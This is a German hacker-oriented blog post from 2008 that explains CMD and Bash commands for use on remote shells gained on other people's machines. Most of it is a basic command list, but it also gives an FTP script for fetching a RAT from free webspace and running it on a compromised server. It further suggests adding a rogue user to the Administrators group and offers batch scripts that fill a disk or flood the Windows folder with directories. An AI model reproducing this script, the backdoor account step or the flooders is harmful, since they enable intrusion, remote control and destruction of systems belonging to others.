Konsolenbefehle (CMD und Bash)

6. Juni 2008 – 14:57

Konsolenbefehle (CMD und Bash)

Wir haben jetzt schon einige Wege kennengelernt, eine Remote-Shell (Konsole) auf einem System zu bekommen. Doch was nützt uns das, wenn wir keine tollen Befehle kenn, mit denen wir die Konsole füttern können? Unter Windows ist die Konsole die Eingabeaufforderung oder auch CMD (von command.com) genannt. Unter Linux gibt es verschiedene Konsolen, doch die am meisten genutzte ist wohl die Bash (Burn Again Shell). Auch wenn euch die Shells zu Anfang recht kompliziert vorkommen, wenn man sich mit ihnen angefreundet hat merkt man, dass sie einem relativ viel Arbeit ersparen und vor allen sehr Mächtig sind. Ausserdem sind sie für das Benutzen von Exploit unerlässlich. Also fangen wir mal an…

CMD

Wie bereits geschrieben auch Eingabeaufforderung genannt. Unter Windows erreicht ihr sie indem ihr auf Start -> Ausführen -> cmd geht. Die Klammern < > die ich verwende, gehören nicht zum Befehlssyntax, sondern sollen euch nur sagen, dass ihr hier eigene Parameter angeben müsst. Also dann gehen wir mal an die Basics. Wenn ihr mehr zu einem Befehl wissen wollt gibt als Parameter einfach /? ein und ihr bekommt eine ausführliche Hilfe. Groß- und Kleinschreibung ist bei Windows egal.

- öffnet eine Datei
cd – Wechseln in ein Verzeichnis (Change Directory)
cd – Wechselt in das Wurzelverzeichnis (Root-Directory)
cd.. – Wechselt ein Verzeichnis nach oben im Verzeichnisbaum
dir – Listet den Inhalt des Ordners auf in dem ihr euch gerade befindet
dir *.exe – Listet alle Dateien mit der Endung .exe auf (im aktuellen Verzeichnis)
: – Wechselt auf eine andere Festplatte
del – Löscht eine Datei
del *.* – Löscht alle Dateien im aktuellen Verzeichnis
move – Verschieben von Quelle nach Ziel
copy – Kopiert Datei von Quelle nach Ziel
format – *hrrrr* =D
mkdir – Erstellt ein Verzeichnis
rename – Datei1 in Datei2 umbenennen
net user – Gibt uns eine Liste alle Benutzer
net user – Gibt Informationen über einen bestimmten Benutzer aus
net localgroup – Listet alle lokalen Benutzergruppen auf
net localgroup – Informationen und Mitglieder einer bestimmten Gruppe
net services – Gibt uns eine Liste alle Dienste sowie deren Status an
net start – Startet einen Dienst
net stop – Stoppt einen Dienst
net send – Sendet eine Nachricht an einen PC
net user * /ADD – Fügt einen neuen Benutzer hinzu (Gruppe: Benutzer)
net localgroup /ADD – Fügt einen Benutzer einer Gruppe hinzu – Wie wäre es mit Administratoren =D
echo – Der Text nach echo wir ausgegeben
echo %% – Gibt den Inhalt einer Umgebungsvariable aus
ftp – Startet den FTP-Client
telnet – Startet den Telnet-Client
telnet – Zu einem Rechner auf einem bestimmten Port verbinden
ping – Ping eine IP
set – Zeigt alle Umgebungsvariablen an
title – Verpasst unserer Konsole einen neuen Titel
color – Farbe gefällig =D
type – Zeigt den Inhalt einer Datei
find “” /i – Durchsucht eine Datei nach einem String und ignoriert Groß- und Kleinschriebung
ver – Zeigt uns die aktuelle Windows-Version an
rem – Macht NIX =D Mit rem kommentiert man in Batch seinen Code =P
cls – Löscht den Inhalt der Konsole (falls das FBI gerade kommt =D)

Umleitungsoperatoren

dir /s | find “.bmp” /i
dir /s listet den kompletten Verzeichnisbaum inc. Unterverzeichnisse und Dateien auf (also den gesammten Festplatteninhalt). Das Pipe-Symbol | leitet diese Ausgabe jetzt nicht auf den Bildschrim sondern zum Befehl find “.bmp” /i weiter, wo nach dem String .bmp gesucht wird. So bekommen wir alle .bmps die sich auf der Festplatte angezeigt.

echo mo > new.txt
echo moo würde eigentlich den Text moo auf dem Bildschirm ausgeben, doch dieser wir durch den Umleitungsoperator > (ein Krokodil, das den Text auffrisst :P ) in die Datei new.txt geschrieben. Existiert die Datei nicht, so wird diese erstellt. Existiert die Datei bereits, so wird sie überschrieben.

echo r00t >> new.txt
Der Effekt ist der Gleiche wie bei nur einem Umleitungsoperator, doch wir die Datei nicht überschrieben, falls sie bereits vorhanden ist, sondern wird unsere Ausgabe unten angefügt.

Es gibt noch dem < Umleitungsoperator, aber den hab ich noch nie gebraucht.

FTP-Script

Jetzt stellt euch aber mal vor ihr habt eine Remote-Shell auf einem Server und wollt eine Datei hochladen (zB. ein RAT). Was machen wir dann? Zuerst holen wir uns etwas Webspace (zB. www.tripod.de) wo wir unsere Datei(en) hochladen, dann schreiben wir uns ein kleines Script und füttern damit den FTP-Client.

echo open ftp.tripod.de > scr
echo user >> scra
echo
>> scr
echo type binary >> scr
echo get >> scr
echo quit >> scr
ftp –s:scr –v –n

Jetzt nur noch die Datei ausführen und schon sind wir am Ziel.

Konsolen-Styling

Wenn wir jetzt schon zu Tastatur-Cowboys geworden sind, dann brauchen wir auch eine kewle Shell mit der wir und durch die ganze Welt hacken. Und mit unserem jetzigen Wissen ist das ganze auch kein Problem mehr =P
Macht einen Rechtsklick auf euren Desktop und geht auf Neu -> Verknüpfung. Jetzt geben wir als Datei folgenden ellenlangen String an…

cmd /k title :: mygov’s haXX0r Konsole & color 0a & cd & cls & echo +++++++++++++++++++++++++ & echo + Welcome to HaXX-Shell + & echo +++++++++++++++++++++++++ & ver

Fertig =D Noch ein schönes Icon und wir hacken gleich viel besser als zuvor =D
cmd /k startet die Konsole und lässt die offen. Der Befehl title legt den Titel des Fensters fest, color 0a sorgt für die Matrix-Farbe, cls löscht den Konsolen-Inhalt, echo gibt eine kewle Begrüßung aus und ver zeigt uns unsere Windows-Version an. Die einzelnen Befehle sind durch & verkettet.

Blödsinn in Batch…

Schrieben wir uns mal ein kleines Batch-Script, dass die Festplatte mit Datenmüll floodet =D Notepad öffnen und folgenden Code abschreiben (kein Copy & Paste). Dann als .bat oder .cmd speichern (nicht als .txt).

@echo off
echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX > big
:loop
type big >> big
goto loop

@echo off sorgt dafür, dass die Befehle nicht immer auf dem Bildschirm ausgegeben werden. Dann erstellen wir uns eine Datei mit lauter XXXXX drinne. Setzt setzen wir eine Sprungmarke und lassen und mit type die XXXXX-Datei ausgeben. Aber nicht auf den Bildschirm, sondern fügen den Inhalt noch mal an die Datei big dran. Dann springen wir wieder zur Sprungmarke und das Spiel geht von vorne los =D Die big-Datei wächst also exponentiell (1-2-4-8-16-32-64-128-256-512-1024-usw.) und nach kurzer Zeit ist die Festplatte mit einer Datei voll =D

Ein Ordner-Flooder ist auch ganz lustig =)

@echo off
cd C:WINNT
:loop
mkdir %random%%random%%random%
goto loop

Wir wechseln erst in das Windows-Verzeichnis und erstellen dann Ordner mit einer (in unserem Fall drei) Zufallszahl (probiert mal echo %random%) also Ordnernamen. Dann wird geloopt. Schon sind in Sekunden tausende von Ordnern erstellt.

CMD und Batch ist toll :>

Ihr seht, mit der Konsole kann man ziemlich viel machen. Ihr habt nur einen Bruchteil der vorhandenen Befehle kennengelernt (alleine der net-Befehl ist riesig und mächtig) und viele warten noch darauf von euch benutzt zu werden. Ein kleine Listet erhaltet ihr, wenn ihr in der Konsole einfach mal help eingebt.
Wenn man einigermaßen mit der Konsole umgehen kann, ist es auch keine Arbeit Batch zu lernen, was wirklich einfach ist und trotzdem sehr hilfreich sein kann.

Bash

Meisten bekommen wir beim r00ten von Rechnern ja eine Remote-Shell, auf der wir unser Unwesen treiben können. Doch da wir alle Windows-User mit Leib und Seele sind, haben wir keine Ahnung, welche Befehle uns zur Verfügung stehen. Na dann müssen wir wohl ein paar Befehle kennenlernen. Und damit wir unsere 1337-Karriere voranzutreiben müssen wir lernen Exploits zu benutzen. Doch die sind fast alle für Linux geschrieben… Wir ihr seht kommt der Ueberhacker von Heute kaum um Linux rum. Also lasst uns mal einen kleinen Blick auf die wichtigsten Befehle werfe:

pwd – Gibt das aktuelle Arbeitsverzeichnis aus
cd – Wechselt in ein Verzeichnis
cd .. – Geht ein Verzeichnis nach oben im Verzeichnisbaum
ls – Gibt uns den Ordnerinhalt aus
cd – Wechselt ins Home-Verzeichnis
ls –a – Gibt uns den Ordnerinhalt mit erweiterten Informationen aus
mkdir – Erstellt einen Ordner
mv – Verschiebt von Quelle nach Ziel
rm – Löscht Dateien
cp – Kopiert Datei(en)
chmod – Rechteverteilung für Dateien/Ordner. Am besten die Hilfe angucken
cat – Gibt den Inhalt einer Datei aus
grep “” – Durchsucht eine Datei nach einem String
find – Sucht ausgehen vom Pfad nach Dateien
ln –s – Erstellt einen Softlink
echo – Gibt einen String aus
touch – Erstellt eine leere Datei
ps –a – Zeigt alle laufenden Prozesse an
kill – Einen Prozess beenden
clear – Bildschirminhalt löschen
telnet – Verbindet sich zu einem Rechner auf einem bestimmten Port
joe – Lädt eine Datei in Joe (Texteditor; falls installiert>
mc – Startet den Midnight-Commander (falls instelliert)
gcc exp.c –o exp – Compiliert den Code exp.c und erstellt die Datei exp
./exp – führt die Datei exp aus

Das waren jetzt einige ganz einfache Grundlagen. Aber ich muss das Rad nicht neu erfinden… Es gibt genug Webseiten und Bücher, die sich ausführlich mit diese, Thema beschäftigen. Also bei Bedarf einfach ein bissel googeln und ihr werdet sich was brauchbares finden!
Die Umleitungsoperatoren funktionieren genau so wie bei Windows, also muss ich darauf nicht näher eingehen (einfach bei CMD noch mal gucken). Und Bash-Scripte werde ich jetzt auch nicht mit euch schreiben =D

Post a Comment